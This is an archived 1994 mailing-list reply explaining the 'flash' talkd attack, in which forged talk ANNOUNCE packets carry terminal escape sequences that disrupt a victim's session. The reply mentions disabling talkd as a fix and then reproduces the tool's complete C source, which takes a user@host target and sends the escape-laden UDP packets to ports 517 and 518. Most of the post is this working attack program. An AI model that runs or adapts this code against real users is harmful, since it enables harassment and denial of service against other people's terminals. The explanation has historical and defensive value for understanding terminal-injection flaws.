Re: "Flash"??

Christopher Davis (ckd@loiosh.kei.com)
Thu, 18 Aug 1994 15:05:16 -0400

TWW> == That Whispering Wolf <elfchief@lupine.org>

 TWW> A user on my system talked to me about a program that's going around
 TWW> called 'flash', that supposedly uses in.talkd to flood a user's
 TWW> session into unusability. He has a binary for this program, but no
 TWW> source, so I can't see what the program actually does.

It seems to be another one of those fun things people like to use in
conjunction with being mad about some perceived slight on IRC.  It sends a
fake talk request packet with VT100/ANSI terminal control characters in
the user@host, which talkd moronically passes on to the user's terminal
without checking for ESC or similar things.

(It looks really silly when someone does this to you and talkd sends it to
xconsole... "^[[c@host" and the like.)

As for preventing it, I just turned off talkd.  With all the
incompatibilities it has, it's not that useful anyway...

Similar problems with rwall and other ways of remotely sending data to a
terminal are also things you should watch for.

Source is below.

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <strings.h>

/* this should really be in an include file..  */

#define OLD_NAME_SIZE 9
#define NAME_SIZE    12
#define TTY_SIZE     16 
typedef struct {
        char    type;
        char    l_name[OLD_NAME_SIZE];
        char    r_name[OLD_NAME_SIZE];
        char    filler;
        u_long  id_num;
        u_long  pid;
        char    r_tty[TTY_SIZE];
        struct  sockaddr_in addr;
        struct  sockaddr_in ctl_addr;
} OLD_MSG;

typedef struct {
        u_char  vers;
        char    type;
        u_short filler;
        u_long  id_num;
        struct  sockaddr_in addr;
        struct  sockaddr_in ctl_addr;
        long    pid;
        char    l_name[NAME_SIZE];
        char    r_name[NAME_SIZE];
        char    r_tty[TTY_SIZE];
} CTL_MSG;

#define TALK_VERSION    1               /* protocol version */

/* Types */
#define LEAVE_INVITE    0
#define LOOK_UP         1
#define DELETE          2
#define ANNOUNCE        3

int	current = 1; 	/* current id..  this to avoid duplications */

struct sockaddr_in *getinaddr(char *hostname, u_short port)
{
static  struct sockaddr    addr;
struct  sockaddr_in *address;
struct  hostent     *host;

address = (struct sockaddr_in *)&addr;
(void) bzero( (char *)address, sizeof(struct sockaddr_in) );
/* fill in the easy fields */
address->sin_family = AF_INET;
address->sin_port = htons(port);
/* first, check if the address is an ip address */
address->sin_addr.s_addr = inet_addr(hostname);
if ( (int)address->sin_addr.s_addr == -1)
        {
        /* it wasn't.. so we try it as a long host name */
        host = gethostbyname(hostname);
        if (host)
                {
                /* wow.  It's a host name.. set the fields */
                /* ?? address->sin_family = host->h_addrtype; */
                bcopy( host->h_addr, (char *)&address->sin_addr,
                        host->h_length);
                }
        else
                {
                /* oops.. can't find it.. */
		puts("Couldn't find address"); 
		exit(-1);
                return (struct sockaddr_in *)0;
                }
        }
/* all done. */
return (struct sockaddr_in *)address;
}

SendTalkPacket(struct sockaddr_in *target, char *p, int psize) 
{
int 	s;
struct sockaddr sample; /* not used.. only to get the size */

s = socket(AF_INET, SOCK_DGRAM, 0);
sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); 
} 


new_ANNOUNCE(char *hostname, char *remote, char *local)
{
CTL_MSG	 packet; 
struct   sockaddr_in  *address;

/* create a packet */
address = getinaddr(hostname, 666 );  
address->sin_family = htons(AF_INET); 

bzero( (char *)&packet, sizeof(packet) );
packet.vers   = TALK_VERSION; 
packet.type   = ANNOUNCE;   
packet.pid    = getpid();
packet.id_num = current;
bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); 
bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
strncpy( packet.l_name, local, NAME_SIZE); 
strncpy( packet.r_name, remote, NAME_SIZE); 
strncpy( packet.r_tty, "", 1); 

SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
}

old_ANNOUNCE(char *hostname, char *remote, char *local)
{
OLD_MSG  packet;
struct   sockaddr_in  *address;

/* create a packet */
address = getinaddr(hostname, 666 );
address->sin_family = htons(AF_INET);

bzero( (char *)&packet, sizeof(packet) );
packet.type   = ANNOUNCE;
packet.pid    = getpid();
packet.id_num = current;
bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
strncpy( packet.l_name, local, NAME_SIZE);
strncpy( packet.r_name, remote, NAME_SIZE);
strncpy( packet.r_tty, "", 1);

SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
}

main(int argc, char *argv[])
{
	char	*hostname, *username; 
	int	pid;

	if ( (pid = fork()) == -1)  
	 	{
		perror("fork()");
		exit(-1);
		}
	if ( !pid )
		{
		exit(0);
		}
	if (argc < 2) { 
		puts("Usage: <finger info> ");
		exit(5);
	}
 	username = argv[1]; 
	if ( (hostname = (char *)strchr(username, '@')) == NULL )	
		{
		puts("Invalid name.  ");
		exit(-1);
		}
        *hostname = '\0'; 
	hostname++; 

	if (*username == '~') 
		username++; 

#define FIRST "\033c\033(0\033#8" 
#define SECOND "\033[1;3r\033[J"
#define THIRD  "\033[5m\033[?5h"
	new_ANNOUNCE(hostname, username, FIRST);
	old_ANNOUNCE(hostname, username, FIRST);
	current++; 
	new_ANNOUNCE(hostname, username, SECOND);
	new_ANNOUNCE(hostname, username, SECOND);
	current++;
	new_ANNOUNCE(hostname, username, THIRD); 
 	old_ANNOUNCE(hostname, username, THIRD);
}